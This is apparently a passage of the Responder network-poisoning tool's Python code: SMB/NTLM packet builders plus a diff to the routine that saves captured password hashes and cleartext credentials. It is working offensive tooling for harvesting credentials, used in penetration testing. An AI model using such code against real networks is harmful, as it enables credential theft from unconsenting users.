SecurityBlobBCC = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
CalculateUserOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])
CalculateDomainOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
CalculateWorkstationOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])
CalculateLMChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])
CalculateNTChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])
## Packet len
self.fields["andxoffset"] = struct.pack("<i", len(CompletePacketLen)+32)[:2]
##Buff Len
self.fields["securitybloblength"] = struct.pack("<i", len(SecurityBlobLen))[:2]
##Complete Buff Len
self.fields["bcc1"] = struct.pack("<i", len(SecurityBlobBCC))[:2]
## Guest len check
self.fields["ApplicationHeaderLen"] = struct.pack("<i", len(SecurityBlobLen)-2)[:1]
self.fields["AsnSecMechLen"] = struct.pack("<i", len(SecurityBlobLen)-4)[:1]
self.fields["ChoosedTagLen"] = struct.pack("<i", len(SecurityBlobLen)-6)[:1]
self.fields["ChoosedTag1StrLen"] = struct.pack("<i", len(SecurityBlobLen)-8)[:1]
##### Username Offset Calculation..######
self.fields["NLMPAuthMsgNtUserNameBuffOffset"] = struct.pack("<i", len(CalculateUserOffset))
self.fields["NLMPAuthMsgNtUserNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
self.fields["NLMPAuthMsgNtUserNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
##### Domain Offset Calculation..######
self.fields["NLMPAuthMsgNtDomainNameBuffOffset"] = struct.pack("<i", len(CalculateDomainOffset))
self.fields["NLMPAuthMsgNtDomainNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
self.fields["NLMPAuthMsgNtDomainNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
##### Workstation Offset Calculation..######
self.fields["NLMPAuthMsgNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateWorkstationOffset))
self.fields["NLMPAuthMsgNtWorkstationLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
self.fields["NLMPAuthMsgNtWorkstationMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
##### NT Challenge Offset Calculation..######
self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"] = struct.pack("<i", len(CalculateNTChallengeOffset))
self.fields["NLMPAuthMsgNtChallengeResponseLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
##### LM Challenge Offset Calculation..######
self.fields["NLMPAuthMsgLMChallengeBuffOffset"] = struct.pack("<i", len(CalculateLMChallengeOffset))
self.fields["NLMPAuthMsgLMChallengeLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
self.fields["NLMPAuthMsgLMChallengeMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
######################################################################################################
class SMBTreeConnectData(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
("AndXCommand", "\xff"),
("Reserved","\x00" ),
("Andxoffset", "\x5a\x00"),
("Flags","\x08\x00"),
("PasswdLen", "\x01\x00"),
("Bcc","\x2f\x00"),
("Passwd", "\x00"),
("Path",""),
("PathTerminator","\x00\x00"),
("Service","?????"),
("Terminator", "\x00"),
])
def calculate(self):
##Convert Path to Unicode first before any Len calc.
self.fields["Path"] = self.fields["Path"].encode('utf-16le')
##Passwd Len
self.fields["PasswdLen"] = struct.pack("<i", len(str(self.fields["Passwd"])))[:2]
##Packet len
CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Andxoffset"] = struct.pack("<i", len(CompletePacket)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
class SMBTransRAPData(Packet):
fields = OrderedDict([
("Wordcount", "\x10"),
("TotalParamCount", "\x00\x00"),
("TotalDataCount","\x00\x00" ),
("MaxParamCount", "\xff\xff"),
("MaxDataCount","\xff\xff"),
("MaxSetupCount", "\x00"),
("Reserved","\x00\x00"),
("Flags", "\x00"),
("Timeout","\x00\x00\x00\x00"),
("Reserved1","\x00\x00"),
("ParamCount","\x00\x00"),
("ParamOffset", "\x5c\x00"),
("DataCount", "\x00\x00"),
("DataOffset", "\x54\x00"),
("SetupCount", "\x02"),
("Reserved2", "\x00"),
("PeekNamedPipe", "\x23\x00"),
("FID", "\x00\x00"),
("Bcc", "\x47\x00"),
("Terminator", "\x00"),
("PipeName", "\\PIPE\\"),
("PipeTerminator","\x00\x00"),
("Data", ""),
])
def calculate(self):
#Padding
if len(str(self.fields["Data"]))%2==0:
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
else:
self.fields["PipeTerminator"] = "\x00\x00\x00"
##Convert Path to Unicode first before any Len calc.
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
##Data Len
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
##Packet len
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["PeekNamedPipe"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]

View File

@@ -162,20 +162,23 @@ def SaveToDb(result):
result[k] = ''
if len(result['user']) < 2:
print color('[*] Skipping one character username: %s' % result['user'], 3, 1)
text("[*] Skipping one character username: %s" % result['user'])
return
if len(result['cleartext']):
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
else:
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
if len(result['cleartext']):
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?) AND cleartext=?", (result['module'], result['type'], result['client'], result['user'], result['cleartext']))
else:
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
(count,) = res.fetchone()
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
if not count:
with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
@@ -218,6 +221,9 @@ def SaveToDb(result):
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
settings.Config.AutoIgnoreList.append(result['client'])
print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1)
elif len(result['cleartext']):
print color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1)
text('[*] Skipping previously captured cleartext password for %s' % result['user'])
else:
print color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1)
text('[*] Skipping previously captured hash for %s' % result['user'])
@@ -293,7 +299,7 @@ def banner():
print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__
print ""
print " Author: Laurent Gaffie (laurent.gaffie@gmail.com)"
print " To kill this script hit CRTL-C"
print " To kill this script hit CTRL-C"
print ""
@@ -322,6 +328,7 @@ def StartupMessage():
print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)
print ' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)
print ""
print color("[+] ", 2, 1) + "HTTP Options:"